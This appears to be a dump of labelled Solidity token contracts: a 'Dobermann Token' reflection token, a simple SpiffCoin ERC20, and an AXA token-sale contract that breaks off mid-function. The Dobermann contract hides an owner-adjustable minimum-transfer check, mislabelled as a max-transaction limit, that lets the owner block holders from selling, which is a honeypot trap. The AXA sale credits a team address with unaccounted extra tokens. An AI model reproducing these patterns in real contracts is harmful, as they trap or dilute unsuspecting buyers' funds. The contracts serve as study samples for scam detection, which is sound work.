uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract dobermanntoken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000 * 10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Dobermann Token';
string private _symbol = 'Dobermann';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 10000 * 10**9 * 10**9;
uint256 public _maxTxSl = 10 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setMaxTxSl(uint256 maxSlPercent) external onlyOwner() {
_maxTxSl = _tTotal.mul(maxSlPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(sender != owner() && recipient != owner())
require(amount > _maxTxSl, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
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// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: SpiffCoin.sol
pragma solidity ^0.8.10;
contract SpiffCoin is ERC20 {
address public admin;
constructor() ERC20('SpiffCoin', 'SFC') {
_mint(msg.sender, 100000000 * 10 ** 18);
admin = msg.sender;
}
function mint(address to, uint amount) external {
require(msg.sender == admin, 'only admin');
_mint(to, amount);
}
function burn(uint amount) external {
_burn(msg.sender, amount);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2020-09-08
*/
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0x8C62CA285Eb8ac8cf9f78Ed0d55B32a3A0d6a911;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// transfer Ownership to other address
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0x0));
emit OwnershipTransferred(owner,_newOwner);
owner = _newOwner;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function mint(address to, uint tokens) public returns (bool success);
function burn(address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract TokenSale is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public RATE;
uint public DENOMINATOR;
uint256 public OPENINGTIME;
uint256 public CLOSINGTIME;
bool public isStopped = false;
uint256 constant public maxGasPrice = 1000000000000; // 1000 Gwei
uint256 public investorMinCap = 500000000000000000; // 0.5 ether
uint256 internal constant lock_total = 10000000 ether;
address private constant team_address =0x94f2d5346a59B6aA2cD2a52F42f98fB9F8464Aae;
uint256 private start_time;
uint256 private one_year = 31536000;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed to, uint256 amount);
event ChangeRate(uint256 amount);
event ChangeOpeningTime(uint256 timestamp);
event ChangeClosingTime(uint256 timestamp);
modifier onlyWhenRunning {
require(!isStopped);
_;
}
constructor() public {
symbol = "AXA";
name = "AXA";
decimals = 18;
_totalSupply = 100000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
RATE = 80000000;
DENOMINATOR = 10000;
OPENINGTIME = 1612483200;// 02/05/2021 @ 12:00am (UTC)
CLOSINGTIME = 1612785600;// 02/08/2021 @ 12:00pm (UTC)
start_time = now.add(one_year*2);
emit Transfer(address(0), owner, _totalSupply);
_lock(team_address);
}
function _lock(address account) internal {
balances[account] = balances[account].add(lock_total);
emit Transfer(owner, account, lock_total);
}
function() public payable {
buyTokens();
}
function buyTokens() onlyWhenRunning public payable {
require(msg.value > 0);
require(msg.value >= investorMinCap,"minimum 0.5eth");
require(block.timestamp >= OPENINGTIME && block.timestamp <= CLOSINGTIME,"timestamp: error");
uint tokens = msg.value.mul(RATE).div(DENOMINATOR);
require(balances[owner] >= tokens,"token error");
balances[msg.sender] = balances[msg.sender].add(tokens);
balances[owner] = balances[owner].sub(tokens);
emit Transfer(owner, msg.sender, tokens);
owner.transfer(msg.value);
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != address(0));
require(tokens > 0);
require(balances[msg.sender] >= tokens);
